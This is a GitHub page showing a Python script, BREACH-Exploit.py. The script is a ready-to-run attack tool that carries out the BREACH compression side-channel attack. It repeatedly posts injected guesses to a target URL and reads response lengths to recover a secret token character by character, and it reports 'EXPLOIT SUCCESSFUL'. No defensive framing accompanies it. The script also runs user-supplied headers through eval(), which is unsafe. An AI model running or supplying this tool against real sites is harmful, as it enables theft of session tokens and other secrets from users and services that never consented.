-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBREACH-Exploit.py
More file actions
118 lines (99 loc) · 4.09 KB
/
Copy pathBREACH-Exploit.py
File metadata and controls
118 lines (99 loc) · 4.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import argparse
import string
import time
from collections import defaultdict
from typing import Dict, List
import numpy as np
import requests
from colorama import Fore, init
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
init(autoreset=True)
class BreachAttacker:
def __init__(
self,
target_url: str,
secret_length: int,
params: Dict[str, str],
headers: Dict[str, str] = None,
max_retries: int = 5,
chunk_size: int = 16
):
self.target = target_url
self.secret_len = secret_length
self.params = params
self.headers = headers or {}
self.session = requests.Session()
self.chunk_size = chunk_size
self.candidates = string.ascii_letters + string.digits + "_-=."
retry = Retry(
total=max_retries,
backoff_factor=0.3,
status_forcelist=[500, 502, 503, 504]
)
self.session.mount("https://", HTTPAdapter(max_retries=retry))
def _inject_payload(self, payload: str) -> int:
poisoned_params = self.params.copy()
for key in poisoned_params:
if "[INJECT]" in poisoned_params[key]:
poisoned_params[key] = poisoned_params[key].replace("[INJECT]", payload)
try:
response = self.session.post(
self.target,
data=poisoned_params,
headers=self.headers,
timeout=10
)
return len(response.content)
except Exception as e:
print(Fore.RED + f"Error: {str(e)}")
return 0
def _calculate_entropy(self, samples: List[int]) -> float:
return float(np.std(samples))
def brute_secret(self) -> str:
discovered = ""
for position in range(self.secret_len):
print(Fore.CYAN + f"\n[+] Brute-forcing position {position + 1}/{self.secret_len}")
base_payload = "A" * (self.chunk_size - (position % self.chunk_size) - 1)
probes = {
char: base_payload + discovered + char
for char in self.candidates
}
scores = defaultdict(list)
for _ in range(10):
for char, payload in probes.items():
length = self._inject_payload(payload)
scores[char].append(length)
time.sleep(0.1) # желательно не убирать во избежания rate limiting
best_char = None
min_entropy = float("inf")
for char, lengths in scores.items():
entropy = self._calculate_entropy(lengths)
avg_len = np.mean(lengths)
if entropy < min_entropy:
min_entropy = entropy
best_char = char
print(f" {char}: avg={avg_len:.1f} std={entropy:.2f}")
discovered += best_char
print(Fore.GREEN + f"[SUCCESS] Position {position + 1}: {best_char} → Current secret: {discovered}")
return discovered
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="BREACH Attack Exploit")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-p", "--params", required=True, help="Request parameters with [INJECT] marker (e.g. 'username=admin&token=[INJECT]')")
parser.add_argument("-l", "--length", type=int, required=True, help="Length of secret to brute-force")
parser.add_argument("-H", "--headers", help="Additional headers (JSON format)")
args = parser.parse_args()
params_dict = {}
for pair in args.params.split("&"):
key, value = pair.split("=")
params_dict[key] = value
attacker = BreachAttacker(
target_url=args.url,
secret_length=args.length,
params=params_dict,
headers=eval(args.headers) if args.headers else {}
)
print(Fore.YELLOW + "[!] Starting BREACH attack...")
secret = attacker.brute_secret()
print(Fore.GREEN + f"\n[!] EXPLOIT SUCCESSFUL! Discovered secret: {secret}")